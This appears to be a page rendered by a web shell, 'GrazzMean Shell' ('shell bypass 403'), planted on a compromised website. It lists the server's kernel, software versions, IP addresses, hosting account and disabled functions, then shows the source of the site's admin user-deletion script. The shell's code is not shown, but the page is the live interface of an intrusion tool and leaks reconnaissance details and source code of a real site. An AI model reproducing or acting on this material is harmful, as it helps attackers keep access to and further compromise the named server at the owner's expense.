shell bypass 403

GrazzMean Shell

: /var/www/vhosts/m-auto.co/httpdocs/admin/ [ drwxr-xr-x ]
Uname: Linux serv.m-auto.co 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
Software: nginx/1.28.2
PHP version: 8.1.34 [ PHP INFO ] PHP os: Linux
Server Ip: 41.215.243.19
Your Ip: 216.73.216.151
User: m-auto.co_vxasg6smqe (10000) | Group: psacln (1003)
Safe Mode: OFF
Disable Function:
opcache_get_status,mail

name : user_delete.php
<?php
include '../includes/db.php';
include_once __DIR__ . '/../includes/permissions.php';
session_start();

require_permission('users_delete');

// Check if user is admin
if (!isset($_SESSION['user_id'])) {
    header("Location: index.php?error=Unauthorized");
    exit;
}
// Again, assuming auth.php handles the role check

if (isset($_GET['id'])) {
    $user_id_to_delete = $_GET['id'];

    // Prevent deleting user with ID 1 and the currently logged-in user
    if ($user_id_to_delete == 1 || $user_id_to_delete == $_SESSION['user_id']) {
        header("Location: users.php?error=Cannot delete this user.");
        exit;
    }

    $stmt = $conn->prepare("DELETE FROM users WHERE id = ?");
    $stmt->bind_param("i", $user_id_to_delete);

    if ($stmt->execute()) {
        header("Location: users.php?success=2"); // Success code 2 for deletion
    } else {
        header("Location: users.php?error=" . urlencode($stmt->error));
    }

    $stmt->close();
    $conn->close();
    exit;

} else {
    header("Location: users.php");
    exit;
}
?>
© 2026 GrazzMean